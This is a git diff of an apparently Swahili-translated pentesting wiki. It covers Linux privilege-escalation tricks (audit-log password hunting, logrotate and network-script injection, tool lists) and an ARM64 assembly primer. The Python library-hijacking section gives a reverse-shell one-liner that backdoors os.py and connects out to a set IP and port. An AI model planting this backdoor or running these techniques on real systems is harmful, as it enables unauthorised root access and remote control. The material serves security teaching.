chanzo wazi inayotumika kupata passwords nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac. +Soma msimbo wa [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), hutafuta **faili kadhaa zinazoweza kuwa na nywila**.\ +**Chombo kingine kinachovutia** ambacho unaweza kutumia kufanya hivyo ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambayo ni programu ya chanzo huria inayotumika kupata nywila nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac. ### Logs -Ikiwa unaweza kusoma logs, unaweza kupata **taarifa za kuvutia/za siri ndani yao**. Kama log ni ya kushangaza zaidi, ndivyo itakavyokuwa ya kuvutia zaidi (labda).\ -Pia, baadhi ya "**mbaya**" zilizosetiwa (backdoored?) **audit logs** zinaweza kukuwezesha **kurekodi passwords** ndani ya audit logs kama ilivyoelezwa katika chapisho hiki: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Iwapo unaweza kusoma logs, unaweza kupata **taarifa za kuvutia/za siri ndani yake**. Kadri log inavyokuwa ya ajabu, ndivyo itakavyokuwa ya kuvutia (labda).\ +Pia, baadhi ya **"bad"** configured (backdoored?) **audit logs** zinaweza kukuwezesha **kurekodi nywila** ndani ya audit logs kama ilivyoelezwa katika chapisho hiki: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Ili kusoma logs, kikundi [**adm**](interesting-groups-linux-pe/index.html#adm-group) kitasaidia sana. +Ili **kusoma logs kundi** [**adm**](interesting-groups-linux-pe/index.html#adm-group) itasaidia sana. -### Faili za shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1328,43 +1329,42 @@ Ili kusoma logs, kikundi [**adm**](interesting-groups-linux-pe/index.html#adm-gr ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Utafutaji wa Creds za Kawaida/Regex +### Generic Creds Search/Regex -Unapaswa pia kuangalia faili zinazojumuisha neno "**password**" katika **jina** lake au ndani ya **yaliyomo**, na pia kuangalia IPs na emails ndani ya logs, au hashes regexps.\ -Sitaorodhesha hapa jinsi ya kufanya yote haya lakini ukipendezwa unaweza kuangalia ukaguzi wa mwisho ambao [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) hufanya. +Pia unapaswa kuangalia faili zinazojumuisha neno "**password**" katika **jina** lao au ndani ya **maudhui**, na pia angalia IPs na emails ndani ya logs, au hashes regexps.\ Sitaorodhesha hapa jinsi ya kufanya yote haya lakini ikiwa unavutiwa unaweza kuangalia ukaguzi wa mwisho ambao [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) hufanya. ## Faili zinazoweza kuandikwa ### Python library hijacking -Ikiwa unajua **kutoka wapi** script ya python itaendeshwa na unaweza **kuandika ndani** ya folda hiyo au unaweza **kuhariri python libraries**, unaweza kubadilisha OS library na kuiweka backdoor (ikiwa unaweza kuandika mahali script ya python itaendeshwa, nakili na bandika os.py library). +Ikiwa unajua **kutoka wapi** script ya python itaendeshwa na unaweza **kuandika ndani** ya folder hiyo au unaweza **kuhariri python libraries**, unaweza kurekebisha maktaba ya OS na backdoor it (ikiwa unaweza kuandika mahali script ya python itaendeshwa, nakili na bandika maktaba ya os.py). -Ili **backdoor the library** ongeza tu mwishoni mwa os.py library mstari ufuatao (badilisha IP na PORT): +Ili **backdoor the library** ongeza tu mwishoni mwa maktaba ya os.py mstari ufuatao (badilisha IP na PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Kutumia udhaifu wa logrotate -Udhaifu katika `logrotate` unawawezesha watumiaji wenye **idhini ya kuandika** kwenye faili ya logi au kwenye saraka zake za juu kupata uwezo wa kuongezewa ruhusa. Hii ni kwa sababu `logrotate`, mara nyingi ikiendeshwa kama **root**, inaweza kudhibitiwa ili kuendesha faili yoyote ile, hasa kwenye saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kukagua ruhusa si tu katika _/var/log_ bali pia katika saraka yoyote ambapo log rotation inafanyika. +Udhaifu kwenye `logrotate` unaoruhusu watumiaji wenye **uruhusa wa kuandika** kwenye faili la logi au kwenye saraka za mzazi wake kupata kwa uwezekano vibali vilivyopandishwa. Hii ni kwa sababu `logrotate`, mara nyingi ikirushwa kama **root**, inaweza kutumika kuendesha faili za hiari, hasa katika saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kukagua ruhusa sio tu katika _/var/log_ bali pia katika saraka yoyote ambapo rotation ya logi inafanywa. > [!TIP] -> Udhaifu huu unahusu toleo la `logrotate` `3.18.0` na ndogo zaidi +> Udhaifu huu unaathiri toleo la `logrotate` `3.18.0` na ya zamani -Maelezo ya kina kuhusu udhaifu yanaweza kupatikana kwenye ukurasa huu: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Maelezo zaidi kuhusu udhaifu yanaweza kupatikana kwenye ukurasa huu: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Unaweza kutumia udhaifu huu kwa kutumia [**logrotten**](https://github.com/whotwagner/logrotten). +Unaweza kuchukua faida ya udhaifu huu kwa kutumia [**logrotten**](https://github.com/whotwagner/logrotten). -UdHAIFU huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** kwa hivyo kila unapogundua kwamba unaweza kubadilisha logs, angalia nani anayesimamia logs hizo na uangalie kama unaweza kupata kuongezwa kwa ruhusa kwa kubadilisha logs kuwa symlinks. +Udhaifu huu unafanana sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** kwa hivyo kila unapogundua kuwa unaweza kubadilisha logi, angalia nani anayesimamia zile logi na angalia kama unaweza kupandisha vibali kwa kubadilisha logi na symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Marejeo ya udhaifu:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** script ya `ifcf-` hadi _/etc/sysconfig/network-scripts_ **au** anaweza **kubadilisha** iliyopo, basi mfumo wako umepwned. +Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** script ya `ifcf-` kwenye _/etc/sysconfig/network-scripts_ **au** anaweza **kurekebisha** ile iliyopo, basi **system is pwned**. -Network scripts, _ifcg-eth0_ kwa mfano hutumika kwa muunganisho wa mtandao. Zinajionyesha kabisa kama faili za .INI. Hata hivyo, zinakuwa \~sourced\~ kwenye Linux na Network Manager (dispatcher.d). +Script za mtandao, _ifcg-eth0_ kwa mfano, zinatumika kwa miunganisho ya mtandao. Zinaonekana kabisa kama faili za .INI. Hata hivyo, zinakuwa \~sourced\~ kwenye Linux na Network Manager (dispatcher.d). -Katika kesi yangu, thamani ya `NAME=` katika network scripts hizi haisindikwi vizuri. Ikiwa una **nafasi nyeupe/blank katika jina mfumo unajaribu kutekeleza sehemu baada ya nafasi nyeupe/blank**. Hii ina maana kwamba **kila kitu kinachofuata baada ya nafasi ya kwanza kinatekelezwa kama root**. +Katika kesi yangu, sifa ya `NAME=` katika script hizi za mtandao haishughulikiwi vizuri. **Ikiwa kuna nafasi tupu katika jina, mfumo hujaribu kuendesha sehemu inayofuata baada ya nafasi hiyo**. Hii inamaanisha kwamba **kila kitu baada ya nafasi ya kwanza kinatekelezwa kama root**. Kwa mfano: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1376,13 +1376,13 @@ DEVICE=eth0 ### **init, init.d, systemd, and rc.d** -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +Kabrari `/etc/init.d` ni makazi ya **skripti** za System V init (SysVinit), mfumo wa **kusimamia huduma za Linux wa jadi**. Inajumuisha skripti za `start`, `stop`, `restart`, na wakati mwingine `reload` huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia symbolic links zilizopo katika `/etc/rc?.d/`. Njia mbadala kwenye mifumo ya Redhat ni `/etc/rc.d/init.d`. -Kwa upande mwingine, `/etc/init` inaambatanishwa na **Upstart**, mfumo mpya wa **service management** ulioanzishwa na Ubuntu, ukitumia mafaili ya configuration kwa kazi za usimamizi wa huduma. Licha ya mabadiliko kwenda Upstart, SysVinit scripts bado zinatumika pamoja na configuration za Upstart kutokana na safu ya ulinganifu ndani ya Upstart. +Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **kusimamia huduma** ulioanzishwa na Ubuntu, ukitumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mabadiliko kwenda Upstart, skripti za SysVinit bado zinatumiwa sambamba na usanidi wa Upstart kutokana na safu ya ulinganifu ndani ya Upstart. -**systemd** inatokea kama msimamizi wa kisasa wa initialization na huduma, ikitoa vipengele vya juu kama kuanzisha daemon kwa mahitaji (on-demand), usimamizi wa automount, na snapshots za hali ya mfumo. Inapanga mafaili ndani ya `/usr/lib/systemd/` kwa packages za distribution na `/etc/systemd/system/` kwa mabadiliko ya msimamizi, ikirahisisha mchakato wa usimamizi wa mfumo. +**systemd** imeibuka kama mtekelezaji wa kisasa wa initialization na meneja wa huduma, ikitoa vipengele vya juu kama kuanzisha daemon kulingana na mahitaji, usimamizi wa automount, na snapshots za hali ya mfumo. Inapanga mafaili ndani ya `/usr/lib/systemd/` kwa packages za distribution na `/etc/systemd/system/` kwa marekebisho ya msimamizi, kurahisisha mchakato wa usimamizi wa mfumo. -## Other Tricks +## Mbinu Nyingine ### NFS Privilege escalation @@ -1391,7 +1391,7 @@ Kwa upande mwingine, `/etc/init` inaambatanishwa na **Upstart**, mfumo mpya wa * nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Kutoroka kutoka kwa Shells zilizo zuiwa {{#ref}} @@ -1407,38 +1407,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Jifunze zaidi na maelezo ya exploitation hapa: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Kinga za Usalama za Kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Msaada zaidi [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Zana za Linux/Unix Privesc -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Zana bora ya kutafuta Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Orodhesha kernel vulns kwenye Linux na MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (ufikiaji wa kimwili):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Mkusanyo wa skripti zaidi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Marejeo - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index e7a81f510..6ff4de48e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,204 +1,207 @@ -# Utangulizi wa ARM64v8 +# Utangulizi kwa ARM64v8 {{#include ../../../banners/hacktricks-training.md}} -## **Viwango vya Kigezo - EL (ARM64v8)** +## **Ngazi za Isipokuwa - EL (ARM64v8)** -Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Viwango vya Kigezo (ELs), vin定义 kiwango cha ruhusa na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kigezo, kuanzia EL0 hadi EL3, kila kimoja kikihudumia kusudi tofauti: +Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Exception Levels (ELs), vinafafanua kiwango cha ruhusa na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya exception, vinavyoanzia EL0 hadi EL3, kila kimoja kikiwa na kusudi tofauti: -1. **EL0 - Hali ya Mtumiaji**: -- Hiki ndicho kiwango chenye ruhusa ndogo zaidi na kinatumika kwa kutekeleza msimbo wa programu za kawaida. -- Programu zinazotembea kwenye EL0 zimejitengea kutoka kwa kila mmoja na kutoka kwa programu za mfumo, kuimarisha usalama na utulivu. -2. **EL1 - Hali ya Kernel ya Mfumo wa Uendeshaji**: -- Makaratasi mengi ya mifumo ya uendeshaji yanakimbia kwenye kiwango hiki. -- EL1 ina ruhusa zaidi kuliko EL0 na inaweza kufikia rasilimali za mfumo, lakini kwa vizuizi fulani ili kuhakikisha uadilifu wa mfumo. -3. **EL2 - Hali ya Hypervisor**: -- Kiwango hiki kinatumika kwa uhalisia. Hypervisor inayokimbia kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayokimbia kwenye vifaa vya kimwili sawa. -- EL2 inatoa vipengele vya kutenganisha na kudhibiti mazingira yaliyohalalishwa. -4. **EL3 - Hali ya Msimamizi Salama**: -- Hiki ndicho kiwango chenye ruhusa kubwa zaidi na mara nyingi kinatumika kwa kuanzisha salama na mazingira ya utekelezaji yaliyoaminika. -- EL3 inaweza kusimamia na kudhibiti upatikanaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS iliyoaminika, n.k.). +1. **EL0 - User Mode**: +- Hii ni ngazi yenye ruhusa kidogo na hutumika kwa kutekeleza msimbo wa programu za kawaida. +- Programu zinazofanya kazi katika EL0 zimepangwa kutengwa kutoka kwa kila mmoja na kutoka kwa programu za mfumo, kuweka usalama na utulivu. +2. **EL1 - Operating System Kernel Mode**: +- Mengine ya kernels ya mfumo wa uendeshaji yanatumia ngazi hii. +- EL1 ina ruhusa zaidi kuliko EL0 na inaweza kufikia rasilimali za mfumo, lakini kwa vizuizi fulani kuhakikisha uadilifu wa mfumo. +3. **EL2 - Hypervisor Mode**: +- Ngazi hii hutumika kwa virtualizaton. Hypervisor inayoendesha katika EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) ikifanya kazi kwenye vifaa hivyo vya kimwili. +- EL2 hutoa vipengele vya kutengwa na udhibiti wa mazingira yaliyo virtualized. +4. **EL3 - Secure Monitor Mode**: +- Hii ni ngazi yenye ruhusa zaidi na mara nyingi hutumika kwa secure booting na trusted execution environments. +- EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama secure boot, trusted OS, n.k). -Matumizi ya viwango hivi yanaruhusu njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za mtumiaji hadi programu za mfumo zenye ruhusa kubwa zaidi. Mbinu ya ARMv8 kuhusu viwango vya ruhusa inasaidia katika kutenganisha kwa ufanisi vipengele tofauti vya mfumo, hivyo kuimarisha usalama na uimara wa mfumo. +Matumizi ya ngazi hizi yanaruhusu njia iliyopangwa na salama ya kusimamia nyanja tofauti za mfumo, kutoka kwa programu za watumiaji hadi programu za mfumo zenye ruhusa nyingi. Njia ya ARMv8 kuhusu viwango vya ruhusa husaidia kutenganisha vipengele tofauti vya mfumo kwa ufanisi, hivyo kuongeza usalama na uimara wa mfumo. -## **Register (ARM64v8)** +## **Virejista (ARM64v8)** -ARM64 ina **register 31 za matumizi ya jumla**, zilizoandikwa `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (8-byte). Kwa operesheni zinazohitaji tu thamani za 32-bit, register hizo hizo zinaweza kufikiwa katika hali ya 32-bit kwa kutumia majina w0 hadi w30. +ARM64 ina **virejista 31 za madhumuni ya jumla**, zinazoandikwa `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (8-byte). Kwa operesheni zinazohitaji thamani za 32-bit pekee, virejista hivyo vinaweza kufikiwa katika modi ya 32-bit kwa kutumia majina `w0` hadi `w30`. -1. **`x0`** hadi **`x7`** - Hizi kwa kawaida hutumiwa kama register za scratch na kwa kupitisha vigezo kwa subroutines. -- **`x0`** pia hubeba data ya kurudi ya kazi -2. **`x8`** - Katika kernel ya Linux, `x8` inatumika kama nambari ya wito wa mfumo kwa amri ya `svc`. **Katika macOS x16 ndiyo inayotumika!** -3. **`x9`** hadi **`x15`** - Register zaidi za muda, mara nyingi hutumiwa kwa mabadiliko ya ndani. -4. **`x16`** na **`x17`** - **Register za Wito wa Ndani**. Register za muda kwa thamani za papo hapo. Pia zinatumika kwa wito wa kazi zisizo za moja kwa moja na PLT (Jedwali la Uunganisho wa Utaratibu). -- **`x16`** inatumika kama **nambari ya wito wa mfumo** kwa amri ya **`svc`** katika **macOS**. -5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye baadhi ya majukwaa, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa sasa katika kernel ya linux. -6. **`x19`** hadi **`x28`** - Hizi ni register zilizohifadhiwa na mteja. Kazi lazima ihifadhi thamani za register hizi kwa mwito wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mwito. -7. **`x29`** - **Pointer ya Frame** ili kufuatilia frame ya stack. Wakati frame mpya ya stack inaundwa kwa sababu kazi inaitwa, register ya **`x29`** inahifadhiwa kwenye stack na anwani ya **pointer mpya** ya frame ni (**anwani ya `sp`**) inahifadhiwa katika register hii. -- Register hii inaweza pia kutumika kama **register ya matumizi ya jumla** ingawa kwa kawaida hutumiwa kama rejeleo kwa **mabadiliko ya ndani**. -8. **`x30`** au **`lr`**- **Register ya Kiungo**. Inashikilia **anwani ya kurudi** wakati amri ya `BL` (Tawi na Kiungo) au `BLR` (Tawi na Kiungo kwa Register) inatekelezwa kwa kuhifadhi thamani ya **`pc`** katika register hii. -- Inaweza pia kutumika kama register nyingine yoyote. -- Ikiwa kazi ya sasa inakwenda kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudi). -9. **`sp`** - **Pointer ya Stack**, inatumika kufuatilia kilele cha stack. -- thamani ya **`sp`** inapaswa kuwekwa kuwa angalau **quadword** **mwelekeo** au mwelekeo wa makosa unaweza kutokea. -10. **`pc`** - **Kikundi cha Programu**, ambacho kinaelekeza kwenye amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejeo ya makosa, na matawi. Amri pekee za kawaida zinazoweza kusoma register hii ni amri za tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Register ya Kiungo). -11. **`xzr`** - **Register ya Sifuri**. Pia inaitwa **`wzr`** katika fomu yake ya register ya **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** ikihifadhi data inayotokana mahali popote (katika **`xzr`**). +1. **`x0`** hadi **`x7`** - Hizi kawaida hutumika kama virejista vya muda na kwa kupitisha vigezo kwa subroutines. +- **`x0`** pia hubeba data za kurudi za function +2. **`x8`** - Katika kernel ya Linux, `x8` hutumika kama nambari ya system call kwa maelekezo ya `svc`. **Katika macOS x16 ndilo linalotumika!** +3. **`x9`** hadi **`x15`** - Virejista vingine vya muda, mara nyingi hutumika kwa vigezo vya ndani. +4. **`x16`** na **`x17`** - **Intra-procedural Call Registers**. Virejista vya muda kwa thamani za papo hapo. Pia hutumika kwa mifumo ya kuita function isiyo ya moja kwa moja na PLT stubs. +- **`x16`** hutumika kama **nambari ya system call** kwa maelekezo ya **`svc`** katika **macOS**. +5. **`x18`** - **Platform register**. Inaweza kutumika kama rejista ya madhumuni ya jumla, lakini kwenye baadhi ya majukwaa, rejista hii imehifadhiwa kwa matumizi maalum ya jukwaa: Pointer kwa current thread environment block katika Windows, au kuashiria structure ya kazi inayotekelezwa sasa katika linux kernel. +6. **`x19`** hadi **`x28`** - Hizi ni virejista vinavyohifadhiwa na callee. Function lazima ihifadhi thamani za virejista hivi kwa caller wake, kwa hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa caller. +7. **`x29`** - **Frame pointer** ya kufuatilia fremu ya stack. Wakati fremu mpya ya stack inaundwa kwa sababu function imeitwa, rejista ya **`x29`** **inahifadhiwa kwenye stack** na anwani ya frame mpya (aniwani ya **`sp`**) **inahifadhiwa katika rejista hii**. +- Rejista hii pia inaweza kutumika kama **rejista ya madhumuni ya jumla** ingawa kawaida hutumika kama rejea kwa **vigezo vya ndani**. +8. **`x30`** au **`lr`**- **Link register**. Inashikilia **anwani ya kurudi** wakati maelekezo `BL` (Branch with Link) au `BLR` (Branch with Link to Register) yanatekelezwa kwa kuhifadhi thamani ya **`pc`** katika rejista hii. +- Pia inaweza kutumika kama rejista nyingine yoyote. +- Ikiwa function ya sasa itaaita function mpya na kwa hivyo kuandika juu `lr`, itaihifadhi kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kuirejesha mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudi). +9. **`sp`** - **Stack pointer**, hutumika kufuatilia kilele cha stack. +- thamani ya **`sp`** inapaswa kuwekwa daima kwa angalau **quadword** **alignment** au kosa la alignment linaweza kutokea. +10. **`pc`** - **Program counter**, inayoashiria maelekezo yajayo. Rejista hii inaweza tu kusasishwa kupitia uzalishaji wa exception, kurudi kwa exception, na branches. Maelekezo ya kawaida pekee yanayoweza kusoma rejista hii ni yale ya branch with link (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Link Register). +11. **`xzr`** - **Zero register**. Inajulikana pia kama **`wzr`** katika umbo lake la **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** bila kuhifadhi matokeo mahali (katika **`xzr`**). -Register za **`Wn`** ni toleo la **32bit** la register za **`Xn`**. +Virejista vya **`Wn`** ni toleo la **32bit** la rejista za **`Xn`**. -### SIMD na Register za Pointi za Kuogelea +> [!TIP] +> Virejista kutoka X0 - X18 ni volatile, ambayo ina maana thamani zao zinaweza kubadilika kwa wito za function na interrupts. Hata hivyo, virejista kutoka X19 - X28 ni non-volatile, zinamaanisha thamani zao lazima zihifadhiwe kupitia wito za function ("callee saved"). -Zaidi ya hayo, kuna register nyingine **32 za urefu wa 128bit** ambazo zinaweza kutumika katika operesheni za optimized single instruction multiple data (SIMD) na kwa kufanya hesabu za pointi za kuogelea. Hizi zinaitwa register za Vn ingawa zinaweza pia kufanya kazi katika **64**-bit, **32**-bit, **16**-bit na **8**-bit na kisha zinaitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**. +### Virejista za SIMD na Floating-Point -### Register za Mfumo +Zaidi ya hayo, kuna **virejista 32 za urefu wa 128bit** ambazo zinaweza kutumika katika operesheni za optimized single instruction multiple data (SIMD) na kwa kuendesha hesabu za floating-point. Hizi zinaitwa Vn ingawa zinaweza pia kufanya kazi katika **64**-bit, **32**-bit, **16**-bit na **8**-bit na wakati huo zinaitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**. -**Kuna mamia ya register za mfumo**, pia zinazoitwa register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\ -Zinaweza kusomwa au kuwekwa tu kwa kutumia amri maalum iliyotengwa **`mrs`** na **`msr`**. +### Virejista vya Mfumo -Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambishi cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinakimbia).\ -Mara nyingi hutumiwa kuhifadhi **anwani ya msingi ya eneo la uhifadhi wa thread-local** la kumbukumbu. Kwa kawaida ya kwanza inaweza kusomwa na kuandikwa kwa programu zinazokimbia katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel). +**Kuna mamia ya system registers**, pia zinazoitwa special-purpose registers (SPRs), zinatumiwa kwa **kusimamia** na **kudhibiti** tabia za **processors**.\ +Zinaweza kusomwa au kuandikwa tu kwa kutumia maelekezo maalum ya `mrs` na `msr`. -- `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 ndani ya x0` -- `msr TPIDR_EL0, X0 ; Andika x0 ndani ya TPIDR_EL0` +Virejista maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa reversing engineering. Kiambishi `EL0` kinaonyesha **ngazi ndogo kabisa ya exception** ambayo rejista inaweza kufikiwa kutoka (katika kesi hii EL0 ni kiwango cha kawaida (privilege) ambacho programu za kawaida zinafanya kazi kwa).\ +Mara nyingi hutumika kuhifadhi **anwani ya msingi ya eneo la thread-local storage** la kumbukumbu. Kwa kawaida ya kwanza inasomeka na kuandikwa kwa programu zinazoendesha katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** ina vipengele kadhaa vya mchakato vilivyopangwa katika register maalum inayoweza kuonekana na mfumo wa uendeshaji **`SPSR_ELx`**, X ikiwa ni **kiwango cha ruhusa** **cha kigezo** kilichosababisha (hii inaruhusu kurejesha hali ya mchakato wakati kigezo 